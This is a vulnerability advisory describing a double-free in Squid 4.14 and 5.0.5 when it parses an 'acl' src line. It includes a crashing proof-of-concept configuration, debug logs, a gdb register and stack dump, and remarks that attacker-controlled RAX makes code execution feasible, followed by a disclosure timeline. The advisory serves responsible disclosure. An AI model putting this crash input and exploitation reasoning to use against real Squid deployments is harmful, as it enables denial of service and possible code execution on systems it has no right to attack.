Squid 4.14 / 5.0.5 Code Execution / Double Free

`A Double-Free bug was found in Squid versions 4.14 and 5.0.5 when  
processing the "acl" directive on configuration files, more  
specifically the first and second addresses.  
  
This may allow arbitrary code execution on a Squid deployment on where the  
configuration files may be processed from untrusted sources.  
  
The following sample configuration file causes the overflow:  
  
# cat heap.conf  
acl localnet src  
1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0/16  
  
This is the relevant debug output using "/usr/local/sbin/squid -f heap.conf  
-N -X"  
  
2021/02/09 11:25:10.856| 24,7| MemBlob.cc(130) syncSize: 5 was: 6  
2021/02/09 11:25:10.856| 24,8| SBuf.cc(898) cow: SBuf113 no cow needed;  
have 35  
2021/02/09 11:25:10.856| 3,5| cache_cf.cc(533) parseOneConfigFile:  
Processing: acl localnet src  
1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0/16  
2021/02/09 11:25:10.856| 28,9| Acl.cc(96) FindByName: ACL::FindByName  
'localnet'  
2021/02/09 11:25:10.856| 28,9| Acl.cc(102) FindByName: ACL::FindByName  
found no match  
2021/02/09 11:25:10.856| 28,3| Acl.cc(233) ParseAclLine: aclParseAclLine:  
Creating ACL 'localnet'  
2021/02/09 11:25:10.856| 28,4| Acl.cc(64) Make: src=0x555555e165d0  
2021/02/09 11:25:10.856| 24,8| SBuf.cc(30) SBuf: SBuf253 created  
2021/02/09 11:25:10.856| 24,8| SBuf.cc(30) SBuf: SBuf254 created  
2021/02/09 11:25:10.856| 24,8| SBuf.cc(30) SBuf: SBuf255 created  
2021/02/09 11:25:10.856| 24,8| SBuf.cc(70) ~SBuf: SBuf255 destructed  
2021/02/09 11:25:10.856| 24,8| SBuf.cc(70) ~SBuf: SBuf254 destructed  
2021/02/09 11:25:10.856| 24,8| SBuf.cc(70) ~SBuf: SBuf253 destructed  
2021/02/09 11:25:10.856| 28,5| Ip.cc(222) FactoryParse: aclIpParseIpData:  
1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0/16  
2021/02/09 11:25:10.856| 28,9| Ip.cc(358) FactoryParse: aclIpParseIpData:  
'1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0/16'  
matched: non-IP pattern: %[^/]/%s  
2021/02/09 11:25:10.856| 14,3| Address.cc(389) lookupHostIP: Given Non-IP  
'1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0':  
Name or service not known  
2021/02/09 11:25:10.856| aclIpParseIpData: unknown first address in  
'1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0/16'  
  
Program received signal SIGSEGV, Segmentation fault.  
0x0000555555af55e0 in Mem::AllocatorProxy::freeOne (this=<optimized out>,  
address=0x555555e15e80) at AllocatorProxy.cc:22  
22 getAllocator()->freeOne(address);  
/home/aroldan/.gdbinit-gef.py:2425: DeprecationWarning: invalid escape  
sequence '\é'  
res = gdb.Value(address).cast(char_ptr).string(encoding=encoding,  
length=length).strip()  
  
[ Legend: Modified register | Code | Heap | Stack | String ]  
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────  
registers ────  
$rax : 0x4141414141414141 ("AAAAAAAA"?)  
$rbx : 0x0000555555c77f60 → 0x0000000900000009  
$rcx : 0x0000555555dcd010 → 0x0003000200010004  
$rdx : 0x39  
$rsp : 0x00007fffffffe3c8 → 0x00005555558c4f93 →  
<acl_ip_data::FactoryParse(char+0> call 0x555555709d10 <_Z13self_destructv>  
$rbp : 0x0000555555e18da0 →  
"1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"  
$rsi : 0x0000555555e15e80 → 0x0000000000000000  
$rdi : 0x4141414141414141 ("AAAAAAAA"?)  
$rip : 0x0000555555af55e0 → <Mem::AllocatorProxy::freeOne(void*)+16>  
mov rax, QWORD PTR [rax]  
$r8 : 0x0  
$r9 : 0x3b4  
$r10 : 0x0000555555e19120 → 0x0000000000000000  
$r11 : 0x246  
$r12 : 0x0  
$r13 : 0x0000555555d67aa0 →  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"  
$r14 : 0x0000555555e0a220 → 0x0000555555c49f98 → 0x00007ffff787ef20  
→ <std::__cxx11::basic_ostringstream<char,+0> mov rax, QWORD PTR  
[rip+0x9e619] # 0x7ffff791d540  
$r15 : 0x00007fffffffe450 → 0x0000555555b37e3e → "FactoryParse"  
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow  
RESUME virtualx86 identification]  
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000  
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────  
stack ────  
0x00007fffffffe3c8│+0x0000: 0x00005555558c4f93 →  
<acl_ip_data::FactoryParse(char+0> call 0x555555709d10  
<_Z13self_destructv> ← $rsp  
0x00007fffffffe3d0│+0x0008: 0x000000000000003d ("="?)  
0x00007fffffffe3d8│+0x0010: 0x00007fffffffe450 → 0x0000555555b37e3e →  
"FactoryParse"  
0x00007fffffffe3e0│+0x0018: 0x000000000000036e  
0x00007fffffffe3e8│+0x0020: 0x0000555555b067d7 → <xstrndup+39> pop rbx  
0x00007fffffffe3f0│+0x0028: 0x00007fffffffe47c → 0x55e17eae00000000  
0x00007fffffffe3f8│+0x0030: 0x00007fffffffe480 → 0x0000555555e17eae →  
0x0000000000000000  
0x00007fffffffe400│+0x0038: 0x0000555555e15e80 → 0x0000000000000000  
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────  
code:x86:64 ────  
0x555555af55d9 <Mem::AllocatorProxy::freeOne(void*)+9> mov rsi, rbp  
0x555555af55dc <Mem::AllocatorProxy::freeOne(void*)+12> pop rbp  
0x555555af55dd <Mem::AllocatorProxy::freeOne(void*)+13> mov rdi, rax  
→ 0x555555af55e0 <Mem::AllocatorProxy::freeOne(void*)+16> mov rax,  
QWORD PTR [rax]  
0x555555af55e3 <Mem::AllocatorProxy::freeOne(void*)+19> mov rax,  
QWORD PTR [rax+0x28]  
0x555555af55e7 <Mem::AllocatorProxy::freeOne(void*)+23> jmp rax  
0x555555af55e9 nop  
0x555555af55ea nop WORD PTR [rax+rax*1+0x0]  
0x555555af55f0 <Mem::AllocatorProxy::inUseCount()+0> mov rdi, QWORD  
PTR [rdi+0x10]  
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────  
source:AllocatorProxy.cc+22 ────  
17 }  
18  
19 void  
20 Mem::AllocatorProxy::freeOne(void *address)  
21 {  
→ 22 getAllocator()->freeOne(address);  
23 /* TODO: check for empty, and if so, if the default type has  
altered,  
24 * switch  
25 */  
26 }  
27  
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────  
threads ────  
[#0] Id 1, Name: "squid", stopped 0x555555af55e0 in  
Mem::AllocatorProxy::freeOne (), reason: SIGSEGV  
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────  
trace ────  
[#0] 0x555555af55e0 → Mem::AllocatorProxy::freeOne(this=<optimized out>,  
address=0x555555e15e80)  
[#1] 0x5555558c4f93 → acl_ip_data::operator delete(address=<optimized out>)  
[#2] 0x5555558c4f93 → acl_ip_data::operator delete(address=<optimized out>)  
[#3] 0x5555558c4f93 → acl_ip_data::FactoryParse(t=<optimized out>)  
[#4] 0x5555558c68de → ACLIP::parse(this=0x555555e165d0)  
[#5] 0x5555559052ff → ACL::ParseAclLine(parser=<optimized out>,  
head=0x555555db9228 <Config+1320>)  
[#6] 0x55555571b712 → parse_acl(ae=<optimized out>)  
[#7] 0x55555571b712 → parse_line(buff=<optimized out>)  
[#8] 0x55555572055f → parseOneConfigFile(file_name=0x555555ddf520  
"heap.conf", depth=0x0)  
[#9] 0x55555572127d → parseConfigFileOrThrow(file_name=0x555555ddf520  
"heap.conf")  
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────  
  
It can be easily exploitable too, because I control the value on RAX and  
the execution stopped at  
→ 0x555555af55e0 <Mem::AllocatorProxy::freeOne(void*)+16> mov rax,  
QWORD PTR [rax]  
0x555555af55e3 <Mem::AllocatorProxy::freeOne(void*)+19> mov rax,  
QWORD PTR [rax+0x28]  
0x555555af55e7 <Mem::AllocatorProxy::freeOne(void*)+23> jmp rax  
  
Environment information:  
  
- Squid release version: Tested on 4.14 and 5.0.5  
- Operating System type and version:  
- Debian GNU/Linux bullseye/sid  
- Compiled with gcc (Debian 10.2.1-6) 10.2.1 20210110  
  
Timeline:  
  
- 2021-02-08: Vulnerability discovered.  
- 2021-02-09: Vendor contacted.  
- 2021-02-10: Vendor replied asking to test for the vulnerability once  
the patch is available.  
- 2021-02-22: Vendor contacted again to check for updates.  
- 2021-02-22: Vendor replied that, although this bug is not worth hiding  
because of the nature of the exploitation environment.  
- 2021-02-24: Public disclosure  
  
References:  
  
- https://fluidattacks.com/advisories/morrison/  
  
  
--  
Andrés Roldán, +57-313-646-36-78  
*___*  
  
*| >>|> fluid|___| attacks, we hack your software*  
  
--   
Legal Notice <https://fluidattacks.com/web/terms-use/>  
  
  
`